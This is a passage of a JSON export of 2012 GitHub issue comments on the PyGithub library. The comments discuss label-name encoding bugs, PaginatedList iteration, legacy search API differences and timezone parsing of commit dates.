week.","updated_at":"2012-06-21T12:42:19Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6481200","created_at":"2012-06-21T12:42:19Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6481200},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","body":"Thank you","updated_at":"2012-06-21T12:52:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6481392","created_at":"2012-06-21T12:52:06Z","user":{"type":"User","gists_url":"https://api.github.com/users/kukuts/gists{/gist_id}","events_url":"https://api.github.com/users/kukuts/events{/privacy}","followers_url":"https://api.github.com/users/kukuts/followers","avatar_url":"https://secure.gravatar.com/avatar/9be6ba907be1740213b69422fdf52b57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/kukuts/following","organizations_url":"https://api.github.com/users/kukuts/orgs","url":"https://api.github.com/users/kukuts","repos_url":"https://api.github.com/users/kukuts/repos","starred_url":"https://api.github.com/users/kukuts/starred{/owner}{/repo}","gravatar_id":"9be6ba907be1740213b69422fdf52b57","login":"kukuts","received_events_url":"https://api.github.com/users/kukuts/received_events","subscriptions_url":"https://api.github.com/users/kukuts/subscriptions","id":1831238},"id":6481392},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","body":"I was running into issues with labels with spaces. The _identity attribute is just the URL encoded name.\n\nIt works great for building a URL endpoint, but not so great when the label's name is going to part of the POST body since it causes GitHub to return a 422 error complaining that the label doesn't exist.","updated_at":"2012-06-25T18:47:30Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6556134","created_at":"2012-06-25T18:47:30Z","user":{"type":"User","gists_url":"https://api.github.com/users/philipkimmey/gists{/gist_id}","events_url":"https://api.github.com/users/philipkimmey/events{/privacy}","followers_url":"https://api.github.com/users/philipkimmey/followers","avatar_url":"https://secure.gravatar.com/avatar/decc9323f241b6dd24ec35ef7cabaf75?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/philipkimmey/following","organizations_url":"https://api.github.com/users/philipkimmey/orgs","url":"https://api.github.com/users/philipkimmey","repos_url":"https://api.github.com/users/philipkimmey/repos","starred_url":"https://api.github.com/users/philipkimmey/starred{/owner}{/repo}","gravatar_id":"decc9323f241b6dd24ec35ef7cabaf75","login":"philipkimmey","received_events_url":"https://api.github.com/users/philipkimmey/received_events","subscriptions_url":"https://api.github.com/users/philipkimmey/subscriptions","id":211079},"id":6556134},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","body":"You're perfectly right, thank you! I'll merge your contribution and publish a new version next week-end.","updated_at":"2012-06-25T19:33:48Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6557261","created_at":"2012-06-25T19:30:24Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6557261},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","body":"Welcome back! Indeed, PyGithub has evolved (and stabilized).\n\nMethods that used to return a list of objects now return a `PaginatedList`. `PaginatedList` instances are only iterable (They do not support concatenation as lists do, and you cannot call `len` on them).\n\nThe rationale behind that? It is related to issue #33 and requests returning a large number of objects. In the previous version, creating a list of all the requested objects required a lot of [pagination requests](http://developer.github.com/v3/#pagination), and was quite long. It was a waste of time if the user was interested only in the first elements of that list. Enters `PaginatedList`, which does the pagination requests only when really needed. And it is no more limited to 10 pages.\n\nSo, to achieve what your are trying to do, you have to iterate the `PaginatedList` explicitly, either in a loop, or in the constructor of another collection.\n\nSimple iteration:\n\n for issue in itertools.chain(\n repo.get_issues( state = 'closed' ),\n repo.get_issues( state = 'open' )\n ):\n do stuff\n\nReal list from PaginatedList (and then you can have its length):\n\n issues = list( repo.get_issues( state = 'closed' ) ) + list( repo.get_issues( state = 'open' ) )\n nb_issues = len( issues )\n","updated_at":"2012-06-26T06:34:33Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568164","created_at":"2012-06-26T06:34:33Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6568164},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","body":"I'll try to document this behavior soon.","updated_at":"2012-06-26T06:35:48Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568181","created_at":"2012-06-26T06:35:48Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6568181},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","body":"Thanks for this, very helpful. I didn't know I could cast to list so easily (could've tried, though >.<)","updated_at":"2012-06-26T07:02:14Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568553","created_at":"2012-06-26T07:02:14Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","repos_url":"https://api.github.com/users/bilderbuchi/repos","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6568553},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","body":"I've fixed Repository.create_issue and .get_issues as well.","updated_at":"2012-06-28T20:10:39Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6640187","created_at":"2012-06-28T20:10:39Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6640187},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","body":"I've just merged your commit in branch `develop`. It will go in `master` when I publish version 1.2. You can expect it on Saturday or Sunday. Thank you again for the bug report and the associated patch.","updated_at":"2012-06-28T20:10:44Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6640189","created_at":"2012-06-28T20:10:44Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6640189},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","body":"Problem: issues returned by the [`/legacy/issues/search` API](http://developer.github.com/v3/search/#search-issues) do not match those returned by [other v3 APIs](http://developer.github.com/v3/issues/#response):\n* labels are returned only by name, not not name, color and url\n* date-time format is different\n* maybe something else\n\nOf course, similar differences exist for users and repositories.\n\nIntegrating this legacy API will be more difficult than I thought.","updated_at":"2012-06-28T21:02:23Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6641223","created_at":"2012-06-28T20:49:13Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6641223},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","body":"This is implemented in version 1.2, you can update from pypi.","updated_at":"2012-06-29T18:47:28Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6673380","created_at":"2012-06-29T18:47:28Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6673380},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"Interestingly, if I convert this manually in the meantime, using the method you use in the PyGithub code (`tdate=datetime.datetime.strptime(t.commit.commit.committer.date, \"%Y-%m-%dT%H:%M:%SZ\")`), I get an error cause the format does not match. I get a string of the form `2010-02-11T01:17:27-08:00` - time zone information has been added, but I don't know how to parse it, the `:` in `-08:00` prevents me from using `%z` (which expects UTC offset in the form +HHMM or -HHMM). I will discard it for now, but maybe you got insight why this happens?","updated_at":"2012-07-02T14:58:45Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6710355","created_at":"2012-07-02T14:58:45Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","repos_url":"https://api.github.com/users/bilderbuchi/repos","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6710355},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"Hello Christoph!\n\nIndeed this attribute should be a `datetime.datetime`. And as you noticed, it is not formated like other dates returned by Github... I remember I discovered that when I was doing the conversion from string of all the `*_at` and `*_on` attributes, and I did not take time to dig deeper.\n\nI will create a more generic date parsing function that handles all formats returned by Github, and I'll use it for all `datetime` attributes.\n\nBut before that, I'll have to understand timezone handling in Python, so do not expect this too soon (maybe mid-July).","updated_at":"2012-07-03T07:15:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727553","created_at":"2012-07-03T07:15:53Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6727553},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"yeah no problem, I'm not reliant on so precise information, take your time. btw, maybe that's a bug in the github API? why would this one time be returned in a different way than all the others? I can't see a reason for this.\n\nagreed, time(zones) in python are crazy at times.","updated_at":"2012-07-03T07:24:21Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727659","created_at":"2012-07-03T07:24:21Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","repos_url":"https://api.github.com/users/bilderbuchi/repos","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6727659},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"I don't think it's a bug in Github:\n* `GitAuthor.date` is related to an action done somewhere (on the committer's computer), so it carries the timezone of this computer\n* other datetimes are related to actions done on Github's servers, so it's returned with a \"Z\" timezone meaning \"UTC\", the timezone of these servers.","updated_at":"2012-07-03T07:36:30Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727848","created_at":"2012-07-03T07:36:30Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6727848},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"And by the way, I'm not sure it's a problem for you but I prefer to make it clear: if `tag` is a `Tag`, then `tag.commit.commit.committer.date` is the date of the tagged commit, not the date of the tag. If you really need the date of the tag, you need a `GitTag` and use `git_tag.tagger.date`.","updated_at":"2012-07-03T07:50:18Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728069","created_at":"2012-07-03T07:50:18Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6728069},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"ah, makes sense. If you want to avoid the timezone confusion, mayb what is suggested [here](http://stackoverflow.com/a/117615/599884) makes most sense: \n\"Keep your internal datetime objects naive and in UTC and convert to your timezone for formatting only. The reason why you probably want naive objects (objects without timezone information) is that many libraries and database adapters have no idea about timezones.\"\nSo maybe it makes sense to just convert the GitAuthor times to UTC when getting them (i.e. apply the offset to the given time), to be consistent with the rest.\n\nThanks about the clarification re: GitTag/Tag. I prefer the date of the tagged commit, though, the tags mark release commits.\n","updated_at":"2012-07-03T07:59:36Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728241","created_at":"2012-07-03T07:59:36Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","repos_url":"https://api.github.com/users/bilderbuchi/repos","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6728241},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"If I convert the `GitAuthor.date` to UTC, I loose the information about where the committer lives... It may or may not be a problem depending on my client's use case.\n\nI'll find a way to make it clear and not loose information, maybe I will convert `date` to UTC (keep it naive), and add another attribute `timezone` to `GitAuthor`.","updated_at":"2012-07-07T18:18:46Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728370","created_at":"2012-07-03T08:08:08Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6728370},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"I still have to convert the datetime to UTC. But there is something silly about timezones returned by Github: my commits are timezoned \"-07:00\" while I live in France (UTC +1 or +2). I have to investigate that.","updated_at":"2012-07-10T19:42:43Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6886561","created_at":"2012-07-10T19:42:43Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6886561},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"Well, well, well... I now revise my judgement: **absolutely all** commits I've retrieved from Github are in timezone -07:00, so this must indeed be a flaw in the API, returning date formatted in the local timezone of the GIthub servers only for this attribute. @bilderbuchi, you were right in https://github.com/PyGithub/PyGithub/issues/54#issuecomment-6727659 :-)\n\nThere is no point keeping this GitAuthor.timezone attribute. I will just convert everything to UTC.","updated_at":"2012-07-13T19:17:15Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6972414","created_at":"2012-07-13T19:05:53Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6972414},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"ok. maybe also write to github about this probable bug in the API, to see what's the deal?","updated_at":"2012-07-15T19:57:26Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6994436","created_at":"2012-07-15T19:57:26Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","repos_url":"https://api.github.com/users/bilderbuchi/repos","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6994436},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"@bilderbuchi, to be honest, I don't think I will take time to contact Github about that.","updated_at":"2012-07-18T09:12:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7060818","created_at":"2012-07-18T09:12:53Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7060818},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"Sure, I understand. :-)","updated_at":"2012-07-18T09:21:16Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7060993","created_at":"2012-07-18T09:21:16Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","repos_url":"https://api.github.com/users/bilderbuchi/repos","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":7060993},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issu